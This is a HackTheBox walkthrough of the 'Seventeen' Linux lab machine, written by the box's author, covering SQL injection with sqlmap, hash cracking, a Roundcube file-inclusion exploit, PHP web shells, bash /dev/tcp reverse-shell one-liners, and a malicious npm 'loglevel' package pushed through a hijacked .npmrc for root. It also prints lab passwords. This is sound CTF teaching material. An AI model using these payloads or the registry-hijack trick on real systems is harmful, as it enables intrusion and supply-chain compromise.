Seventeen — Hackthebox walkthrough

Kavishka Gihan
13 min readSep 24, 2022

Seventeen, a Hard, Linux box on Hackthebox which was my 3rd box that showcased some interesting vulnerabilities.


Doing our nmap, we see 3 ports open.

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2e:b2:6e:bb:92:7d:5e:6b:36:93:17:1a:82:09:e4:64 (RSA)
| 256 1f:57:c6:53:fc:2d:8b:51:7d:30:42:02:a4:d6:5f:44 (ECDSA)
|_ 256 d5:a5:36:38:19:fe:0d:67:79:16:e6:da:17:91:eb:ad (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Let's begin your education with us!
8000/tcp open http Apache httpd 2.4.38
| http-methods:
|_ Supported Methods: POST OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: 403 Forbidden
Service Info: Host:; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Looking at port 80 we see a static webpage.

Also we see a domain name as, seventeen.htb which we can add to our hosts file. Adding this to the hosts config file and doing some vhost fuzzing, we can find out a vhost as exam.seventeen.htb

ffuf -H 'Host: FUZZ.seventeen.htb' -u 'http://seventeen.htb' -w raft-small-directories-lowercase.txt  -fw 3118

Adding the entry to the hosts config file again and visiting the site, we see a Exam Manegment System

Looking for public exploits for this in exploitdb, we see there are 2 exploits. One is an authenticated RCE and the other is SQLi.

Since we don’t have credentials to access the admin panel, we can go for SQLi first.

Looking at the exploit, we see id parameter is vulnerable. So we can feed the URL to sqlmap and see what we get.

sqlmap --url 'http://exams.seventeen.htb/?p=take_exam&id=1' --risk=3

Just as mentioned in the exploit, sqlmap found that id parameter is vulnerable to boolean-based blind SQLi. Now we can enumerate the database step by step.

First, we can list the databases.

sqlmap --url 'http://exams.seventeen.htb/?p=take_exam&id=1' --risk=3 --dbs

Then we can dump the contents of the databases. With a bit of enumeration, we can find some password hashes of users.

sqlmap --url 'http://exams.seventeen.htb/?p=take_exam&id=1' --risk=3 -D db_sfms --tables
sqlmap --url 'http://exams.seventeen.htb/?p=take_exam&id=1' --risk=3 -D db_sfms -T student --dump

Using hashcat we can crack the hash for Kelly student.

hashcat -m 0 hash.txt rockyou.txt

We get the password as autodestruction.

Looking at the avatar field, we can see the location of the image is specified as ../oldmanagement/files/avatar.png. Since web applications are usually hosted in /var/www/ directory, maybe oldmanagement.seventeen.htb could be another vhost which we weren’t able to find out by vhost fuzzing.

Adding that to the hosts file and visiting, we see another site.

Noticing the year at bottom left, seems like this is an old file management system. We are asked to log in with a student number and a password. We can use the password we recovered from hashcat with the ID of the Kelly to log in to the application.

Now we can log in with the username and the password we got from the database.

id : 31234
pass: autodestruction

Looking at the files, we see there is a file called Marksheet-finals.pdf.

We can download it to see what it sees. Looking at the PDF, we see it’s a Mark sheet of Kelly Shane. At the bottom we can see a notice from the teacher.

He asks her to contact the teacher through their new webmail. We find a new vhost as https://mastermailer.seventeen.htb/
Adding this to our host’s config and visiting the site, we get a login page.

If you can’t say by the looks, you can identify this as Roundcube by looking at the page source.

Trying some default credentials don’t work. So we can try looking at CVEs for this. But we don’t know the version of the Roundcube running. In the notice we found in the PDF files, we saw the TIC mentioned that this is a newly added webmail. Also, we can see the date when the PDF was uploaded to the file management server.

Seems like the file was uploaded around 2020, January. If we do a quick google search for the 2020–0 roundcube releases we can find version 1.4.2 was released around that time.

Now that we have a possible version of Roundcube, we can try looking for vulnerabilities for the version. We can find a couple of them. One of them being PHP file inclusion enabling remote code execution

Looking at the exploit, this requires the installer to be present in the server. We can confirm it’s there by visiting /installer

Reading through the vulnerability, we can see it’s exploitable as _plugin_<name> parameters do not perform sanitization/input filtering. So we can use something like ../../../../../../path/to/plugin and include a PHP file.

We also have the ability to upload PHP files from the file management application. But one problem arises. If you look at the exploit POC closely, it states:

Note: By viewing the error logs, we can see that Roundcube now tries to load the “/var/www/html/roundcube/plugins/../../../../../../dev/shm/zipdownload/../../../../../../dev/shm/zipdownload.php” file, which resolves to “/dev/shm/zipdownload.php”.

So when we use ../../../../../../dev/shm/zipdownload as our payload the application is trying to include /var/www/html/roundcube/plugins/../../../../../../dev/shm/zipdownload/../../../../../../dev/shm/zipdownload.php. The thing to note here is that the PHP file and the directory we specify have to be in the same directory. The tree command from the POC mentions this as well.

Since the file management application is open source, we can review the source code and see how the application is handling and saving the uploaded files.

Looking at the save_file.php file, we can see the files are saved in /files/<stud_id>/

If we upload a file (a.txt) as Kelly, it is saved as /files/31234/a.txt. This is a problem. Even we are able to upload a PHP file to a known location, we can’t settle it to fit to the exploit.

That is because if we provide our payload as ../../../../../var/www/html/oldmanagement/files/31234 the application will include ../../../../../var/www/html/oldmanagement/files/31234.php. Since we can’t upload files to a /files, this won’t work.

But if you look at the notice again, we see the TIC mentioning some papers being stored in the server.

Maybe there is a directory in /files/31234 that we can use. If we visit there we get 403 Forbidden.

But if we try to access a non-existing resource like /files/31234/asdasd we do get 404.

So we have a way to bruteforce the directories. Now we can use ffuf to fuzz for existing directories.

ffuf -u http://oldmanagement.seventeen.htb/oldmanagement/files/31234/FUZZ -H 'Cookie: PHPSESSID:khgb8b2opnvth4r5avslvr4qd2' -w wordlist -fc 404

And we get a directory as papers. Since there is a such a directory there, now we can use a payload as ../../../../../var/www/html/oldmanagement/files/31234/papers which will result in including ../../../../../var/www/html/oldmanagement/files/31234/papers.php.

After putting all the pieces together, the process to exploit this is as follows.

  1. First we have to make a PHP file and name it papers.php
echo '<? system('id'); ?>' > papers.php

2. Then we have to upload it to the file management application.

4. Then following the POC, we have to inject the LFI payload to the config file.

POST /installer/index.php HTTP/1.1
Host: mastermailer.seventeen.htb
Content-Length: 135
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://mastermailer.seventeen.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36

5. Then when we visit any page, our PHP file should be included giving us the output of the id command.

Now we can replace id in our payload get a reverse shell.

<?php system("bash -c 'bash -i >& /dev/tcp/ 0>&1'"); ?>


Seems like we are inside a docker container. Looking at the /var/www/html dir, we can see a ems directory.

Looking at that directory, it seems like its a Employee Management System. Poking around, we can find the db credentials from ems/process/dbh.php

Also looking at the home /etc/passwd we can see there is a user called mark

We can assume that this user exists in the docker host as well and try to ssh with the password we found.

USER: mark
PASS: 2020bestyearofmylife

And yes, now are in the host as mark user.

Looking at the open ports, we see lot of ports are open. Among them is port 4873. Since other ports are such 110, 995 are related to the IMAP server and the POP3 server that Roundcube instance uses, we can start identifying what is running on 4873

We can make a tunnel and see what is running on that port. We can use ssh for that.

ssh -L 4873: -N -vv mark@seventeen.htb

Visiting we see some kind of node package index.

Looking at the title we can confirm that it’s running Verdaccio

Verdaccio is a simple, zero-config-required local private npm registry. Most companies maintain a private registry to store their source code locally without publishing them to the public registry.

But here we don’t see any packages listed. Looking at the /var/mail/, we see a mail to kavi

Here the Mike user mentions about a new staff management system. Looking at /opt/app we can find source code to a node application which seems to be the application there are talking about.

Looking at the source code in the index.js file, we can see some external modules are being used. db-logger is commented out.

This makes sense because, the mail mentions that this one is removed and replaced with loglevel.

Even it mentions It’s removed from using in the application, maybe it’s not removed from the verdaccio registry. But we didn’t see it in the index right. The mail mentions some kind of error in the registry as well. Maybe it’s this. (If you look at the verdaccio github issues we can find such an issue)

However, we can try to get the db-logger module from the registry.

npm install db-logger --registry=

With this we are able to successfully install the module.

Looking at the source code of the db-logger module, we can see there are some hard-coded credentials in there. (/node_modules/db-logger/logger.js)

With this password, we can ssh in as the kavi user.

USER: kavi
PASS: IhateMathematics123#


As we saw in the mail, Mike asks kavi to test the application with the new loglevel module. Also, he is supposed to publish the loglevel module too. We can find the application in /opt/app and a startup script called

Looking at the source code, we can see that this will check to see if all the dependencies are installed and then run the app. Also, looking at the sudo permissions, we see, we can run this with sudo permissions.

So what we can do is, we can publish a module called loglevel with a reverse shell in it. Then the script will install in and run it. But if we try to log in to the npm registry, we get an error saying user registration disabled.

npm login

Therefore, we can’t just publish to the private registry like that.

If you look at the code block in the which is supposed to install the node package, we see it hasn’t mentioned a URL to the registry with --registry.

So npm will get the registry from .npmrc file in kavi user’s home directory.

cat ~/.npmrc

Here what we can do is edit this file to point to a registry that we control and publish a package named loglevel there. Then the script will install our packages and run what ever is inside.

First, we have to set up the private registry locally. There are a couple of ways to do this, but the easiest way is to use a docker container.

The above video goes over how we can install verdaccio in a docker container.

First we install docker in our local machine.

sudo apt install

Then we pull the verdaccio docker image

docker pull verdaccio/verdaccio

After, we can run it.

docker run -it — rm — name verdaccio -p 4873:4873 verdaccio/verdaccio

Now we should be able to access our npm registry. Then we have to create a malicious npm module that will give us a reverse shell. As we saw in the, it checks for 2 packages as db-logger and loglevel (Seems like Mark user forgot to remove the db-logger dependency) . But if we look at the index.js, we can see only loglevel is used.

So our payload should be in the loglevel module.

The above video goes over how we can create a npm package.

First, we create our JS file (logger.js)

require("child_process").exec("bash -c 'bash -i >& /dev/tcp/ 0>&1'")function log(msg) {
console.log("[+] " + msg)
module.exports.log = log

Just to be safe, I added a dummy function called log to not to crash the application just after our reverse shell is called. The reason why I called the function log is because in the index.js file, that’s the first method that is called if there is no error.

Now we can start initializing our module.

npm init

Then a package.json file should be created.

After we can publish the package. For that, we have to add a user first.

npm adduser --registry http://localhost:4873

Then we can just publish it. (Make sure you are in the directory which your package.json is when you publish it)

npm publish --registry http://localhost:4873

Now, if we visit the web UI, we can see our published package.

Now we can edit the ~/.npmrc file and set the registry to point to our registry.

Now all that’s left to do is to start a listener and run the

sudo /opt/app/

When I run the script, it installed our malicious loglevel package and run the app.

And then I got a shell on my listener as root.

This box had a lot of unintended which wrecked the experience that this was supposed to give leading most players to dislike the box. Nevertheless, I did my very best to present something interesting to the hackthebox community.

I am very grateful for everyone who gave me not just positive but also negative feedback on the box as that really does help to improve myself. Hope I will be able to do a better job in my next submissions!

Contact me through social media:

Email —
Instagram —
Discord — kavigihan#8518

Happy Hacking !!! 😄



Kavishka Gihan

Cyber Security Student | Machine author @hackthebox | find me on instagram @_kavi.gihan